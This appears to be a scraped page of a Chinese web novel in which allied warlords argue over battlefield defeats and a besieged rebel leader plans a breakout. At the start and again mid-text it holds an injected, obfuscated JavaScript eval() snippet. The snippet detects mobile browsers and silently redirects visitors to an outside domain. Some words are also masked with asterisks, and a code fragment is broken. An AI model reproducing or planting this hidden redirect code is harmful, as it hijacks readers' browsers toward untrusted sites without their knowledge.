;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167938|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,庞大战线上的信息流终于再度发生扰动,数骑来自于东侧郑善叶部的信使飞马驰入了旋涡的中心,带来了第一个坏消息,也就是纪曾历亭之败。 有一说一,郑善叶的信使派的多了点,不只是白横秋与段威这两位,薛常雄、屈突达居然也有。 这下子,讯息想瞒都瞒不住……当然,也没有理由隐瞒,这是正经严肃军情……但郑善叶无疑还是越俎代庖了。 天已经快黑了,但大营中修为较高的人,还是能够看到,天空云彩加厚,俨然也有一场春雨要至。 “黜龙军又在袭扰哪家?” 罗术枯坐在自家大营的一处望台上,看着被遮蔽了月色的天空,神情飘忽,许久才被某处动静打断。 “应该是白横秋当面。”立在一旁的白先登脱口而对,却也立即察觉到了罗术的心不在焉。 毕竟,如今大营四面围的水泄不通,各家所据方位清楚无误,既晓得方位,自然知道是哪家。 “黜龙军士气倒没有跌落到不堪的境地。”一念至此,白先登主动开启了话题。“也不知道此战到底什么结果……” “结果应该没什么可说的了。”罗术回过神来,明显有些烦躁不安。“不管眼下这些细微局势如何,大略上来讲,还是太原军以大宗师压强军突袭,黜龙帮的人一来没有攻击而胜的能力,二来仓促被围,粮食有限……我估计,也没有几日了。” “这是必然,然后呢?”白先登认真追问。“张行跟徐世英这些人能出去吗?” “真要个人逃,未必不能逃,但结果也好不了哪里去。”罗术蹙额回头,东南风吹来,使他发丝凌乱。“你别看白横秋现在维持大营好像挺艰难的,黜龙帮一垮,人心一倒,他便能立即把控局势,而依着他对黜龙帮的决然姿态,便是流言是真的,东都军回去了,可太原军必然还会督着我们去打黜龙军的大兵团……你说,若是这里黜龙帮精华尽丧,大兵团又被追上去打没了,便是张行、雄伯南那些人活下来,又能如何?” 白先登想了想,连连颔首,复又摇头:“黜龙帮也没犯错吧?当日若是逃了,野地里大阵都立不起来,怕是早就落到总管你刚刚说的境地了……” “曹林没死,太原没动,直接冒险抢了黎阳仓去散粮,就是最大的错。”罗术冷笑。“张行这是自寻死路……我当日高看他了。” 但不知为何,嘲讽完后,罗术立即就自行黑了脸。 “公慎倒是挺佩服他那个本家的。”白先登似乎没有察觉对方的情绪变化,而是继续说了下去。“今日下午单骑过来后,便一直询问战局,四下打探消息。” “他向着黜龙帮也正常。”罗术叹了口气。“我才接手了幽州几日?上下都不能统辖一致。莫说那些人,便是自家兄弟们眼界上来后,不也都觉得大势在别人那里?要我说,跟军中那些去巴结白横秋的人比,公慎这个时候还记得跟黜龙帮的交情,反而是个讲义气的。” “我也是这个意思。”白先登也笑,然后忽然变了颜色。“那总管,咱们就这么干看着吗?难道指望公慎翻出一片局面?” “不然呢,找死吗?大宗师就是对面!”罗术站起身来,直接跳下望台。“下雨了,早点回去吧!” 白先登也只能跟上。 然而,二人回到中军帐中,正准备汇集本军将领做个突袭查访时,张公慎忽然回来了,并从冯无佚营中带回了一个情报。 “兵败倒也罢了,那个七太保居然也这般干脆**?”火把下,白先登不可置信。“这是黜龙帮大兵团那里处心积虑吧?” “不好说,郑善叶听到前方兵败消息,带着败兵一口气退了好几十里,都是从败兵口里问的话,也就是兵败身亡的消息是对的。”张公慎认真讲述。“具体如何,估计明日才能清楚……主要是东都军那里,上下全都震动起来。” “从东都军那里来说,当然会震动,这可是东都军这次出来的三大将之一,而且东都军本来就军心涣散一些。”白先登笑了笑。“但不耽误大局的。” 话到这里,白先登自己先不自信起来,回头来问:“总管,是如此吧?” “谁知道呢?”罗术坐在阴影里,似笑非笑。“谁知道呢?反正咱们瞅着便是。” 话题就要自此打断,忽然间,白先登又好奇来问:“公慎,军情不给咱们也是寻常,可郑善叶居然直接把军情传给了冯无佚?” “不一定是郑善叶传的。”张公慎想了想,给出了个有意思的答复。“应该是营中谁收了信立即去那里散播出来的,冯公为人和气,下面人又杂乱,大家都喜欢去他营中说话……” 白先登恍然,罗术也不由“啧”了一声。 当夜,联军大营因为东都军前线损兵折将而暗流涌动,尤其是河对岸的东都军大营,更是有着明显的串联与争论,以至于白横秋都不得不亲自过去安抚人心。当然,当黜龙帮的夜袭草草结束后,随着夜色浓厚,将士疲倦,大营还是被动的沉默了下来。到这个时候,春雨终于也下了起来,但却非常轻忽,如果不是有修为的人,几乎听不到雨滴打在帐篷、木棚上的声音。 “什么事?” 没有任何光源之下,东都军大营最西南部地区,屈突达忽然在帐中翻身,提前问出了这句话。 “将军!西线汲郡的老兄弟送来军情!”伴随着这个声音,一丝火光出现在了帐内, 紧接着,一封潦草写成的书信也送到了屈突达的手中。 而其人拿过信来,不等帐内照亮,便仗着真气渲染目力强行来看,只是几眼,便将潦草书信给看完了,却又端坐在榻上不动。 过了许久,这位东都军中理论上仅次于段威的大将方才开口:“东面的消息都传出去了吧?” “是。” “也把这西面的消息送出去。” “是。” 第二百七十五章 山海行(22) 天蒙蒙亮的时候,清晨的细雨下,整个联军大营都活了过来,被包围的黜龙军大营当然也活了过来,但因为规模的缘故,无疑是被联军大营给盖过去的。 尤其是今日,二月十五的早上,联军大营似乎格外忙碌和喧嚣了一点。 而很快,早餐时间,河对岸的东都军大营便爆发了一场事故……数百人在放饭的时候趁机聚拢到了一处军营前的夯土台前,围住了正进行“帐前食”的营中军官,询问东都事宜。然而,军官们自己都心虚,又如何应对这种事情,几句硬着头皮说的话被顶破后,骚乱很快就有了扩散的趋势。 一直到大将屈突达赶来,勉力安抚,才将骚乱给平了下去。 骚乱稍定,屈突达也晓得这事不可能就这么轻易安定,却是忧心忡忡,立即去找段威。 双方在南侧大营粮库外见面,屈突达先将事情说了一遍,然后便正色来问:“段公,我现在还没收到正式军报,但军中已经传开,西线果真也败了?” “是。”难得穿上盔甲的段威扶剑闷声以对。“我也是刚刚收到白公的传讯,具体是西线大败,九千人折了五六千,也不知道是死是伤;临汾丁都尉没了,白立本生死不知;澶渊过去到黎阳仓,汲郡西半截数城全落……就是你之前把控的那些地界。” 虽只是在粮库外,但二人作为军中前两号人物,身侧自然有不少随从,而这些人虽因为骚动早听了不少言语,但还是此时还是不禁震动。 “这些都无所谓。”屈突达听到这里,愈发皱眉。“关键是黜龙帮轻易吃下这六千人,然后斩将夺城,不知河南主力来了多少,可有说法?” “不知道……” “十几万人,日用粟米五千石,后勤一断,不说咱们这里,只论全军,军粮还能支撑许久?” “应该够吧,我刚看来,咱们营中应该还能支撑几日。” “还有,营中忽然上下都说,司马正三日前便已经到了轘辕关,如今或许已经占据了东都,是也不是?” 话到这里,周围早已经鸦雀无声。 而段威也在这个问题后沉默片刻,然后叹了口气,认真来对:“屈突将军,何至于逼迫至此?” “段公何出此言?”屈突达嗤笑一声,显得有些无奈,又有些气急败坏。“你是东都大军的领袖,上下数万人都要指望你!况且,东都那里真要是出事,咱们便没了根本,必然要严肃对待的。” 段威再度沉默了一阵子,然后缓缓摇头:“那屈突将军的意思呢?” “在下闻得讯息,见到营中隐隐有沸腾之势,这才过来求教的。”屈突达愈发无奈,只在雨中拱手俯身行礼。“段公自是领袖,如何问我?” “我是问你的主意。”段威盯着对方发髻面色不变。“不是让你决断,如何不能说?” 屈突达心下一惊,随即其人低头片刻,咬牙认真回复:“属下的意思很简单,要不,就让李定接了此处营地,或者其他几家各自拿出来几千人守住河这边便是……咱们回去吧!顺便替白公夺回黎阳仓!不然……” “不然?” “不然怕是大军就要自解……而现在的局势,大军一旦自解,敢问段公,咱们到底是个什么结果?”屈突达缓缓抬起头来,拱手昂头。“是要去西都吗?” “回西都不好吗?”出乎意料,段威反而语气和顺了起来,甚至有些笑意。“大家才从西都搬出来多久?谁不是西都长大的?还是西都好!” “西都好,东都就不要了嘛?”屈突达反问。“东都立都已经快二十年了,位处天下之中,难道要弃了吗?而且,我们可以弃东都,下面的军士能弃吗?而若我们没有了军士,便到了西都,岂不也是要在窦、孙等人之下,做个空头食客,帐前大号的准备将?我们托付性命给段公,段公要将我们置于这种境地吗?” 周围人早已经一声不吭,而段威也不知道该说什么好了,只能讪讪:“屈突将军,不能只为个人计较,要有公心……” “那便请段公秉持公心,不要管我们这些军官的私心,只为全军考量。”屈突达昂然来对。 段威连连点头:“如此,我现在就去见白公!反正这事是躲不掉的!你巡视一下营地,也速速过来!” 竟还是没有松口许诺立场。 屈突达点头应许,目送对方而去,并没有再紧咬不放,但周围将佐参军则多有惊惶之态,却是屈突达一力安慰,只让大家信任英国公。 就这样,大约一个多时辰,微微细雨稍作收敛,对岸迟迟未来的聚将鼓方才一路敲了过来,屈突达便也在严肃交代了军纪后带着军中几位头面副将、都尉、参**向河对岸去了。 来到了庞大的太原-武安军大营,转入中军,进入大帐,大军十余万之众的各路领袖、将佐,早已经汇集,外加数不清的文书、参军往来铺陈,更是显得紧张……很显然,大家也都知道了消息。 屈突达在一名参军的带领下寻到自己位置,坐下后环顾四面,只见各处桌案皆有茶水,少部分人那里还摆着油炸果子之类的果腹之物,一时间,用餐饮茶的不提,其余人也多在窃窃私语,却显得有些喧哗。而有意思的是,诸如薛常雄、李定、冯无佚、王怀通、罗术这些实际军中要害首领,却多沉默不语,只是坐在那里若有所思。 屈突达自己也没吭声。 须臾片刻,白横秋在段威的陪同下转入偌大棚帐中,所有人齐齐起身,便是薛常雄也缓缓站了起来然后才落座。 而既落座,四下安静,白横秋并未直接开口,只看向了跟进来的刘扬基,刘扬基见状立即起身来帐中空地立定,环顾四面后而告:“诸位,昨晚与夜间相继接到军情急报,今早又有军情补充到,不好说情状完全清楚,先与大家做交代!” 说着,竟是将西线、东线战败情势做了说明。 非只如此,在座众人很快意识到,对方的介绍比之前的流言要清晰真实了许多……因为战场之上一些细节,以及一些具体的结果是他们之前不清楚的,更重要的是,根据描述,这败的比流言中的以及自己想的还要惨。 几句话说完,四下先是安静片刻,俨然目瞪口呆,继而轰然一片,众人便议论纷纷不止。 “好了!” 白横秋忽然出声,声音不大,却似乎从营寨内四面八方传到,在座之人都觉得是专门说给自己听一般,自是立即安静下来。“你们有什么想问的吗?” “白公,敢问历亭那里,果真没有黜龙帮大兵团的援助吗?”赵郡都尉齐泽立即起身避席,拱手来问。 “不确定是不是有个别高手去助阵,但总体上还是当地守军自行其是,为首者是个刚刚升了头领的屯田兵屯长和一个当过清河郡副都尉的副屯长……前一战坏了史怀名的也是他们。”回复齐泽的是刘扬基。“败兵说的很一致,城内就是那六屯屯田兵,也未见真正大规模援军。” 此时无人敢喧哗,但闻得此言,在座不少人都眉头紧锁。 不过,可以想见,帐中人想法必然是不同的,有的人是单纯对事情感到震惊,一群屯田兵,什么屯长副屯长,前后击溃了两拨正经的部队,听了就吓人; 有的人是忧虑战局影响,因为史怀名倒也罢了,可纪曾到底是正经路数的东都主力大将,被对方斩将破军,即便是从浩大的联军全军角度来看,也最少是相当于被人直接砍下了一根拇指,血流不止,不好再抓握的那种感觉; 还有一些人想的就深了,他们敏锐的意识到,这种现象看起来是意外和特例,其实却是战局趋势和黜龙帮底力的联合作用……因为这种事情在之前这个世界漫长的历史中是有迹可循的,艰难的战争中,忽然就崛起了什么英雄,这不是胡扯和吹嘘,而是说战争锻炼了人,也给了人机会。 但这种人出现在对面,委实不是什么好征兆……甚至,这是需要极度警惕的。 别人不晓得,白横秋本人起码正是这般想的,他不在乎什么黄屯长、韩二郎,他在乎的是这两个人的出现,而且极度在乎! “那敢问刘将军,白将军生死……如何?”窦琦不是昨夜和今日轮值,忍不住起身来问。 “不知道,但也无所谓。”此时回复的又不是刘扬基了,乃是白横秋本人昂然出言。“白立本本非能用兵之人,不过是因为同族后辈的关系,不得不加以照拂,军中都晓得他无能,暗中呼为‘宗室将军’,我也只以为粮道在身后还算安全,所以安置他过去……想堂堂大将,行事必当考虑周全,结果他居然扔下步卒,轻兵冒进,被人伏击,逼的丁都尉不得不为了救他主动迎上,捐躯赴难……这种人,**也就**,降了也就降了,又有什么可计较的?唯独丁都尉,忠勇至此,却被无辜牵累,某必当铭记在怀,并恩赏其子弟家眷。” 此言既罢,窦琦便立即严肃表态:“英国公公私分明,赏罚坦荡,实在是让人佩服。” 周围人顿了一顿,旋即附和起来,但不少人也是真心佩服白横秋的坚决果断,乃是迅速便将责任推给自家人,以安抚和稳定必然大受震动的本部军心。 但是,这些不是问题的关键,因为从昨晚上到现在,很多军情已经私下流出,军心已经震荡,而大家聚在一起本质上还是想知道,眼下的局势该如何应对? “都不说,我说吧!”停了一阵子,声音渐渐平息,薛常雄率先在座中开口。“白公、段公,现在的局势是,清河方向连续失利,黜龙帮大兵团甚至都没有摸到便已经连番损兵折将,那还要不要继续往东线打?而汲郡那里更是严重,事已至此,损兵折将其实不必多说了,但粮道怎么办?军中粮草还有多少?还有,西线既败,说明黜龙帮河南主力过来了,那边有十二个营,此番攻洛口仓又招了不少人,到底来了多少?要不要分兵去对付?谁去对付?多少人去对付李枢才能从速运回粮食?更重要的,黜龙帮河南兵既至,现在到处都在传,司马正已经飞速到了东都,消息也没法再控制,再加上两侧兵败的事情,东都军如**系士气军心?而若东都军不能维持,全军又该如**持?请两位给说清楚。” 座中气氛瞬间紧张起来,但紧张中又有些释然,因为薛常雄愿意把这些问题抛出来,自然是好的,不然大家心里都会堵着。 白横秋似乎也早料到有此一问,便直接点头:“诸位,薛公这些话问的很对路,也是我今日召集诸位的缘由所在,就是要请大家畅所欲言,教我该如何应对。” 四下嗡嗡一片,众人交头接耳,一时间莫衷一是。但白横秋似乎也不急,只是端坐在主位上四下来看。 而很快,讨论也渐渐从嘈杂混乱转向了有序讨论,一些事情的脉络也渐渐有了一些定论。 “东线就不必计较了,本来也是为了隔绝黜龙帮大兵团与此地的,何必再去送兵马?只让郑将军收拢败兵,安守鄃县便是。” “此言甚是。” “西线是必然要救的,十余万人,每日单是下肚的粮食就要有五六千石,我知道诸位想什么……是,之前放粮的时候,许多粮食进了周边郡县官民手里,但是大军盘踞,要的是稳定的后勤线,靠收集地方粮草,可以节省,却不能替代……宁可吃有稳定供给的碎渣陈粮,也不能指望着无法分配妥当的山珍海味,否则必然会出大乱子。” “身前张贼是不是粮草不够了?还能撑几日?” “这种事情也是可以赌的吗?我们但凡能供给得上,一定要维持供给……依着我说,一面要恢复西线的后勤线,一面还要从武安、信都输粮,最好同时在地方征粮……” “要从河间与武安输粮吗?” “不是说了嘛,张三贼也撑不了几日,关键是一定要续上粮草,稳定军心,否则,反而给对方留下可乘之机……输粮输不了多少的。” “白公许我清河、平原,乃至渤海自取。”就在这时,沉默了许久的李定忽然开口,强势打断了争论。“而我自红山会后,便倾武安兵马跟随,任劳任怨,结果如今非只要出兵,反而要倾郡中粮草,甚至还要放任大军劫掠治下吗?” 周围人不敢吭声,许多中下层震惊于这种“秘辛”,还有几人本能蹙眉,倒是孙顺德与刘扬基对视一眼,然后前者捻须来笑:“李府君,岂不闻皮之不存**将焉附……若是眼前大局出了问题,不能尽力,到时候这几郡与你何干?便是武安、襄国都难说的。” “既如此,我愿意领兵去汲郡,恢复后勤。”李定点点头,看向了白横秋。“也愿意自武安供给粮草,但请白公不要劫掠地方。” 白横秋笑了笑,点点头:“李府君敢于自荐,勇气可嘉。” “可李府君对付得了李枢吗?”就在这时,刘扬基瞅了眼白横秋后忽然插嘴反驳。“不是说李府君治军如何,也不是说武安军弱,而是说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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而围下去就要从多个方面来继续维持住这里的联军大部队……首先自然是后勤保障上的修补,这点在座的将军们都有经验,都晓得这个厉害,所以,重建后勤线与开辟临时后勤补给线是势在必行;与此同时,军心士气与军队组织结构也需要维持,这里面的关键是东都军,东都军的士气最差,而偏偏东都军同时还是整个联军的两大支柱之一,如果东都军离散,那毁掉的不只是自家一家,而是整个联军。 从这个角度来说,有些选择和应对,就显得顺理成章,或者说是无可奈何了。 那么如果这位英国公早已经有了决断,为何还要在这里听这些人胡扯呢?答案很简单,一则堵人嘴、压人心,二则他要找到联军中的“敌人”,或者说是“内鬼”、“漏洞”。 这个“敌人”、“内鬼”,当然不是说谁就是黜龙帮的内应,这种局势下,对帐中这种身份的人说这个未免可笑,但反过来说,除了太原军体系外,也没有谁算是他白横秋的生死同盟吧? 局势到了最关键的时候,必须要弄清楚谁是最有可能按捺不住的那个,然后施展手段,使这个隐患消失。 那么,回到人身上。 第一个要注意的人当然是东都军领袖段威,这位大魏兵部尚书不是个蠢货,也不是个没有自己想法的人,但是此人之前的恣意是局势占优情况下不甘他英国公一家独大而已,现在这种情况,尤其是东都军有崩散危机的时候,其人反而是自己的核心盟友。 段威可以信任,而且可以托付重任。 第二个人是薛常雄。 白横秋的目光在此人身上停留了只是片刻,便拐了过去……如果说段威的恣意是发现自己已经入伙想确保地位的话,那薛常雄的冷淡和直率就是还没有入伙,犹豫于入伙本身这件事情所致。 除此之外,薛常雄的性格、能力摆在那里,此人并不擅长**与谋划。 第三个人是李定。 想到此人,白横秋心中不禁有些不安起来……李定的表现,表面上看起来咄咄逼人,动辄把劫掠、地盘拿到台面上说,但实际上老实安静的可怕,就好像是一个表面上闹小脾气而且言语幼稚,实际上却拎得清且稳重从容可托付重任的后辈一般……说真的,刚刚李定自荐去汲郡,他英国公几乎要心动了。 然而,谁让李定跟张行是人尽皆知的知交故友呢? 另一个知交是谁?不就是自家女儿吗?那张三连自家女儿都能拐走,李定肯定是内心动摇的……不然自己何至于专门从红山出河北,上来就挟制此人及其部属呢? 再不来,甚至只是换个方位进军,说不得此人就要跟黜龙帮合流了! 一个字,这个人不是不能用,但那是此战之后,此战之后,此人可堪大用!但现在,张三一日不溃,此人便一日不可用,而且要继续严加看管。 第四个人,白横秋看向了罗术,不由心中冷笑。 这个人跟李定反过来,李定是此战之后可堪大用,此人则是此战后便要分道扬镳,迟早要做兼并铲除,只是铲除的方式不同,时间也有早晚而已。 不过这么一想,战斗结束前此人果真不会动摇吗? 正想着呢,大概是因为自己与段威的沉默引起了不耐,旁边冯无佚不知道什么时候开口了:“我的意思是,黜龙帮还是很得人心的,何妨就此立约不战,赶紧去收拾东都与关西呢?” “哼!” 白横秋面色不变,一言不发,心中却忍不住冷笑起来——冯无佚这厮,不愧是自己选定的“陷阱”,此人回到河北,完全就是从河北地方视角来看人与事了,实际上已经完全接受了黜龙帮。 只不过,这厮只一个御前文官,做不出什么事情来,倒也不必太在意就是。 但是,王臣廓又如何呢? 一念至此,英国公瞥了眼那个野心勃勃、跃跃欲试之盗匪,心中一时有些不安起来。 这种人,是个小号的罗术,而且两人看起来很像,都是英明从容,立场坚定,但若不能栓好,反而经常犯蠢,无端惹出事来。 “还是该劝降。“就在这时,王怀通开口参与了进来。“立约不战是不可取的,但如果黜龙帮愿意俯首,便可有个商量了。” 王怀通不会惹事,他是个世族领袖、文修楷模,有些事情是不会做的。 那到底谁是自己的“敌人”呢? 正想着呢,白横秋目光扫过了屈突达,忽然想起了对方一件旧事来,心里莫名咯噔了一下。 第二百七十七章 山海行(24) “白横秋这般安排的话,你师父现在是什么反应?”听完多头多绪的具体相关军情,坐在条凳上的张行想了一想,收起炭笔,将纸张交给身侧的贾润士,待情报被带走,身边无他人后,又从一个奇怪的角度问了起来。 “师父他......现在挺生气,回去后黑着脸一句话不说。”凳子另一头的苏靖方笑了一下,复又补充道。“师父上次这般生气还是去南宫湖交还赵郡那一回......是真生气。” “那你们武安军下面的军官呢,都有什么反应?”张行继续追问某处细节。 “家父在内,到校尉樊梨花,军中五百主以上无一人有差,都来见师父,但师父没见他们,直接去寻了师娘说话,只让我去告诉他们,凡事好自为之,遵军令而为即可。” “有点意思......” “哪里有意思?”苏靖方略显好奇。 “不管段威是不是你师父的恩主,多老资历与多大威望,东都现在这个情况,他段尚书都是个没有自己根据的人,而没有自己的根据,也不可能把武安军拐走,你们军中的将领也该晓得这个道理......换言之,白横秋这般安排是还是有些考量的,只是剥夺了你师父的指挥权,而不是要兼并他的部队......那他还生这么大的气,是为什么呢?” 苏靖方没有吭声。 “李四啊李四,他不是愤怒于被剥夺了兵权,而是为不能与我交战而愤然......”张行自问自答,轻轻一叹。“但何必呢?” 苏靖方还是没有吭声。 其实,作为学生,而且是常伴身侧的学生兼心腹下属,他对自己老师看的还算清楚......能何必呢?还不是被你们逼的? 自己这位老师,所谓李四郎李府君在河北这几年的行事逻辑一直都很清楚,就是想乱世称雄,然后不停被人打击和欺负,而被人欺负,就要挣扎反抗,却往往还是反抗不得,被迫承认,最后还是不爽。 真的是反反复复,之前是面对张行,现在面对白横秋,哪個好惹? 包括之前他苏靖方父子投入武安的契机,也是这位李府君在本地征兵被本地豪强弄得灰头土脸,不得不选择**,这才有了自家这支客军被任用的机会......某种意义上来说,当时也算是被人欺负了吧? 当然,受欺负归受欺负,苏靖方还是很尊敬自家老师的。 “武安军既走,大营现在是哪里最薄弱?”顿了一顿而已,情知时间宝贵的张行忽然又问。 苏靖方沉默片刻,给出答复:“必然是正北面冯府君那边......” 张行点点头:“人尽皆知?”“是。” “也是冯府君一意要议和?”“是。” “这是个陷阱。”张行继续。“是。”苏靖方认真来答。 “那河对面的东都军呢?”张行再问。 “我觉得也是个陷阱。”苏靖方依然回答干脆。这就是苏靖方的天赋了。 张行也终于沉默了片刻......家都没了,消息又没法再控制,从今日开始,东都军必然军心涣散,然后只有一个大宗师压制,那么按照道理来言,若是能持伏龙印一冲,所谓以将对将,以兵对兵,冲出去未必不可能! 同时,接应的大部队也在河对岸,大兵团如果能得到讯息的话,是可以急行军击破鄃城,甚至打到跟前做接应。而一旦过河,身后的**万大军就会被清漳水给大面积隔绝,想追都难,想趁机决战也难。 客观条件是有的。 然而,这里面有两个非常严肃的问题,首先是如何渡河不被发现? 七个营的兵马,加上随军的文书参军,还有少部分当时没撤走的后勤人员,即便是去掉之前的战斗折损,加起来也有一万多人,如何轻易渡河?怎么可能不被一位大宗师发现? 这也是所谓陷阱的意思了。 看起来很有希望,但实际上有个巨大的坎......一旦在渡河时遭遇阻击,很可能就是一败涂地的结果。 可话又得说回来,这种恰恰是最诱人的陷阱,明知道是陷阱,可因为切实的有利逃生条件形成了**性质的前景,真到了万不得已的时候,又没有别的法子,似乎从此处突围总是一个法子。 这么一想,似乎有针对他张三性格的特意设置的感觉。 这都隐隐有阳谋的感觉了。 只不过.......这不是还有第二个非常严肃的问题吗? 哪来的伏龙印?! 所有人都知道他张三爷有伏龙印在手,几万人亲眼看见的,全河北的军阀围了一圈天天勾心斗角,十几万大军摆烂空耗,就是为了这个.......但他真没有,而且还不敢告诉任何人他没有。 所以,张行难得清醒,以至于有些后怕。 “你说的不错,河对岸才是真陷阱!”张行喟然道。“这位英国公是有一套的。” “诚然如此。”苏靖方笑道。 “你先歇一歇,我去见一见其他人,然后与你说话。”张行霍然起身。 “师叔且去。”苏靖方也随之起身,目送张行转过棚子拐角后,却忍不住四下张望起来。 原来,张行见苏靖方的地方居然是在梅花大营中心大营的边缘地带,身后便是一个巨大的马厩,坐着的棚子便是存放鞍辔的地方......有些话不是苏靖方该问的,不代表他不好奇。 另一边,张行转出马厩,却也没有直接回中军大帐,而是转到雄伯南的营帐,在此地见到了另一位要单独应对的对象,也就是幽州军骨干张公慎......此人对黜龙帮的同情与靠近在此战之前就已经很明显了,而此时,本可以避开这团旋涡的对方主动过来,俨然是值得期待的。 “谢总管让我问首席,石头城外的夜景漂亮不漂亮?江水凉快不凉快?”张公慎本与雄伯南闲聊,见到张行过来,赶紧起身来言。 张行怔了一下,不由失笑:“石头城外的江水实乃天下一绝,将来再有机会必与谢总管把臂同游。” 雄伯南之前便与张公慎有交流,此时听得谢明鹤的预留已经与张行勾上,晓得可信,不由大喜,然后赶紧来言,却是将北地、晋北将有接应的话给讲了一遍。 张行自然高兴,便继续站着来问张公慎:“那敢问张将军,清漳水这边,几处大营,哪里最薄弱?” “当然是冯公那里。”张公慎认真来对。“而且,我这几日在营中四处活动,看的清楚,营中上上下下人心浮动,都不想打是实话,但只有冯公是真真切切想帮忙的,其余人多是觉得打仗会损兵折将,而白横秋给的都只是言语上好处,这才显得有些对帮中软弱,其实只是想避战而已......” “罗总管也是如此?”张行想了一想,认真来问。“白横秋许了他什么?公慎兄可晓得他心意?” “白横秋自然许了他幽州之地,还有代郡,好像还有晋北,还有什么北地自取,今日还许了一个柱国......但罗......罗总管之前便有些愤愤的样子,今日只见了一面,却觉得更是阴沉。”张公慎有一说一。“我来得晚,之前没太在意,但想来,除了避战之外,幽州刚刚**成功,他应该还忧虑此战后自家被英国公用名义裹住,再不能自立的意思。” 雄伯南点头认可:“幽州的事情张兄弟最清楚,必是如此。” 张行心中微动,却没有吭声。 而待其人想了一想,干脆连坐都不坐,便挽着对方手来言:“公慎兄,非是我临阵拉拢你,因为你今日既过来,便已经是自家兄弟了,现在情报未全,还不好说,但今晚可能有大事,你稍等一二,等我决断后要来找你。” “首席尽管吩咐。”张公慎当即昂然来言。“这一回,但凡能使大家脱出去,我张公慎也不枉白在河北立足几十年了!” “到时候一起走。”张行点点头,留下一句话,便撇下雄伯南与张公慎,转入雨中去了。 很快,其人便转回到中军大帐,却没有入内,而是转到后帐自己休息的地方,然后换了身干衣服,也不用寒冰真气,只换以离火真气蒸干了头发,便盘腿坐在了榻上,然后才让贾润士去唤人来,自己则就势在榻上翻起了一本《女主郦月传》。 过了一会,房玄乔拢着手走了进来,看到这一幕,不由拱手来笑:“张公,别来无恙,在下房玄乔,红山上有幸见过张公一面。” 张行虽点头却不抬头,只是看着手中来言:“辛苦。” “就这么近,谈什么辛苦?”房玄乔继续立在帐门内笑道。“只是张公,黜龙帮之精华已经被困在这里半月,堪称山穷水尽,我今日到底是来议和的,算是带了一条生路,如何连起身迎一迎都无呢?平素大家都说,张首席礼贤下士,人尽皆知,怎么到了我这里,反而无礼?” 张行闻言终于扔下书从榻上起身跳下,光着脚上前将来笑:“礼贤下士,必有求于人,而我对房小先生没有什么可求的,换言之,我不会跟白横秋这种人议和的,他也不会跟我议和的,这是其一;而房小先生本人呢,我虽然是第一次真切相见,却早早从魏公与几位房头领那里知道,阁下雅量高致,胸怀大义,这种人行事自有章法,绝不是区区礼节与什么恩惠可以动摇的,这是其二......既如此,何必计较虚礼?” 说着,便将对方引回,然后隔着几案同榻而坐。 房玄乔坐下后难得晃神了一下,随即摇头感慨:“传言不虚,张公果然是礼贤下士,素能得人,连在下这么一个从未入眼的年轻书生都能这般妥当......其实,若非如此,黜龙帮外围上下也不会拼了命的要救张公的......不瞒张公,连我之前也以为,河北的大兵团因为兵力差异和英国公的虎视眈眈必无作为;而河南的那支可用兵马又会因为三心二意,不能渡河来救的。” 竟果然是不再提议和二字。 “我也没想到。”张行按着桌上那已经被翻旧的有一说一。“是我小看了李龙头,更小瞧了帮内豪杰......不过,我倒是觉得这不是我礼贤下士能得人的缘故,而是黜龙帮没有做什么失人心的举动,是黜龙帮能得人。” “黜龙帮不为恶,委实难得,便是我恩师怀通公都说,这次贵帮便是亡了,可因为行仁义而亡,将来这外面围着的一圈人里面,心里总是要藏着根刺的。”房玄乔正色道。“更何况,眼下来看,曹林引司马正入东都,天下大局都随之而变,英国公已经没了继续持续作战的底气,贵帮怕是亡不了。” “东都军还能撑几日?”张行沉默了片刻。 “只是被锁在河对面大营里不动弹的话,看英国公的决心便是......我来时,河对岸已经**了。”房玄乔平静作答。“但反过来说,只要局势一动,东都军留在营寨失去了作用,那他们一出军营怕是就要崩溃的。” “如此说来,东都军已经成囚徒了吗?” “自古以来,以囚徒充军的还少吗?只要压得住便可.那可是大宗师。” “那到底怎么才能让他们留在营寨时失去作用呢?”张行持续好奇来问。 房玄乔似乎想要作答,但不知道为什么,其人伸出手来,作势欲讲的姿势半路卡住,然后忽然问了一个别的问题:“张公,如今你寨中粮草、柴薪,尚有几何?” 张行嗤笑了一声:“已经要没了......我估计明日就要杀马了......柴火和草料倒是能多一日,主要是当日建营的时候动用大部队运来了许多木料。” 房玄乔当场再度顿住,却也苦笑:“若是如此,从速突围岂不是已经成了必然?” “是吧。” “那我也就直说了,现在突围确实算是个好时机,因为只要张公你们成功出去,只能锁在营寨做诱饵和堵塞的东都军便没了用,一动弹就要自溃,而没了东都军,英国公不是不能追,但只以他的太原军是没法在保证后路的同时把控薛、罗、李、冯、王多路诸侯兵马的......再加上东都和关西局势,很有可能会选择撤退。” “很有可能?” “是......这时候就是赌,谁还能有什么必然把握吗?”“这倒是实话。”张行幽幽以对。“那如果真要突围,又从哪里走?” “北面冯公那里或许会网开一面,河对岸东都军大营说不得一触即溃,既要赌,这两处总是可以去的。” “还有呢?” “还有......?”房玄乔看了眼桌上那,不由失笑。“张公,军事上的事情,是要汇集情报来决断的,我不过是因缘际会跟着恩师过来的挂名参军......只知道一个联军大营的情势,如何能替你做分析呢?这种事情,是关乎不知道多少人生死的。” 张行点头:“这是自然,决断是我来下,可小房先生,你既知道军事上的事情是要汇集情报的,被困在死地的我又怎么能放过阁下呢?请小房先生务必教我,只以你眼中的情报来看,该从哪里突围?” 